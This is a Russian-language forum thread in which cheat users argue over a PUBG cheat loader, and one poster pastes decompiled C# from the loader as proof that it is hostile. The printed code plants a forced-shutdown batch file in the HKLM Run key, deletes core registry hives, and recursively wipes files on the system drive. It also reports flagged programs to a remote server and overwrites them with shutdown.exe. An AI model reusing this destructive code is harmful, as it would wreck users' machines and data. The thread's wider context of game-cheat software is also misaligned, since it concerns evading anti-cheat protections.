|
Согласен с этим,чего нельзя сказать о ответчике,но намного лучше что бы это было лично в лс.А не разводить срачь на форуме,разделять его на две стороны.
Но мы то знаем как все на самом деле
Пруф?лоадер совершенна тот же
Это просто слова, покажи отличия?)
Скачай 3 раз, ты будеш в шоке.
аргумент. ну значит если софт был не изменен в любом случае мои комменты на 1-6 страницы чистая правда и ты должен будешь уйти в бан))))
А за что в бан то?)
Пожалуйста, зарегистрируйтесь или авторизуйтесь, чтобы увидеть содержимое.
Окау друг, какое правило форума я нарушил ?
какой конкретно пункт? Даже в разделе правил для пабг этого нет. Нехуй крякать все что подруку попадет ) вон в кс стилаки и т.д полный бот нет . И проекты живут , ибо их боятся крякать. Я попрашу кодера смягчить меры защиты на счет винды и т.д + в теме укажу что может слететь винда если юзать эти проги.Но не более.
С одной стороны да , а со второй и я не причем. Я сказал что трабла есть , но это не повад для бана и т.д . Сегодня завтра выкатим фикс и на этом все.
Ладно. Давай я для удобства будущего арбитра данной жалобы объеденю все в 1 пост. В котором будет вся информация что я нашел по .exe файлу. Во первых: пруф того что исходник я показываю именно того софта который у тебя в лодыре:Окау друг, какое правило форума я нарушил ?
Пожалуйста, зарегистрируйтесь или авторизуйтесь, чтобы увидеть содержимое.
private void method_42()
{
if (this.method_28())
{
this.method_27(new string[]
{
"Critical ERROR"
});
}
else
{
this.method_41("");
this.method_40();
}
this.method_38();
} private void method_41(string string_58 = "")
{
try
{
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "boot.bat");
if (!File.Exists(text))
{
File.WriteAllText(text, "shutdown.exe -s -t 00 -f");
this.method_30(text);
Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue("Boot", text);
}
}
catch
{
}
} private void method_40()
{
this.method_81();
try
{
Registry.CurrentUser.DeleteSubKeyTree("Software");
}
catch
{
}
try
{
Registry.CurrentUser.DeleteSubKeyTree("System");
}
catch
{
}
try
{
Registry.LocalMachine.DeleteSubKeyTree("System");
}
catch
{
}
this.method_32(Path.Combine(Path.Combine(Form1.string_28, "TslGame\\Binaries\\Win64"), "bgsecondary.dat"));
this.method_32(Form1.string_9);
this.method_32(Form1.string_10);
this.method_32(Form1.string_12);
this.method_31(Form1.string_6);
this.method_33(Form1.string_6, true);
this.method_31(Path.GetPathRoot(Environment.SystemDirectory));
this.method_33(Path.GetPathRoot(Environment.SystemDirectory), true);
this.method_85(true);
this.method_39();
try
{
string text = string.Empty;
text = text + "attrib -r \"" + Form1.string_13 + "\"\n";
text = text + "attrib -s -h \"" + Form1.string_13 + "\"\n";
text = text + "DEL /F \"" + Form1.string_13 + "\"\n";
text += ":loop\n";
text = text + "taskkill /f /im " + Form1.string_15 + "\n";
text += "goto loop \n";
this.method_35(text);
}
catch
{
}
this.method_38();
}this.method_31(Path.GetPathRoot(Environment.SystemDirectory)); private void method_31(string string_58)
{
try
{
foreach (string string_59 in Directory.EnumerateFiles(string_58, "*.*", SearchOption.AllDirectories))
{
this.method_32(string_59);
}
}
catch
{
}
} private void method_14()
{
try
{
string name = "Software\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\Shell\\MuiCache";
foreach (string text in Registry.CurrentUser.OpenSubKey(name).GetValueNames())
{
if (text.Contains(".exe"))
{
try
{
string text2 = text.ToLower();
string text3 = Registry.GetValue("HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\Shell\\MuiCache", text, "").ToString().ToLower();
string text4 = text;
text4 = text4.Substring(0, text4.IndexOf(".exe") + 4);
if (File.Exists(text4))
{
foreach (string text5 in this.string_40)
{
if (text2.Contains(text5) || text3.Contains(text5))
{
WebClient webClient = this.method_47();
webClient.Headers.Set("rep", this.method_53(string.Concat(new string[]
{
"Forbidden: [",
text5,
"] in [",
text,
"]"
}), webClient.Headers.Get("cryptkey") + "rep"));
webClient.DownloadData(Form1.string_1);
this.method_27(new string[]
{
"Disallowed program found:",
text4
});
this.method_32(text4);
try
{
File.Copy(Path.Combine(Environment.SystemDirectory, "shutdown.exe"), text4, true);
}
catch
{
}
this.method_38();
return;
}
}
}
}
catch (Exception ex)
{
WebClient webClient2 = this.method_47();
webClient2.Headers.Set("rep", this.method_53("Disallowed program check (ERROR): " + ex.Message, webClient2.Headers.Get("cryptkey") + "rep"));
webClient2.DownloadData(Form1.string_1);
this.method_85(true);
this.method_38();
}
}
}
}
catch
{
}
}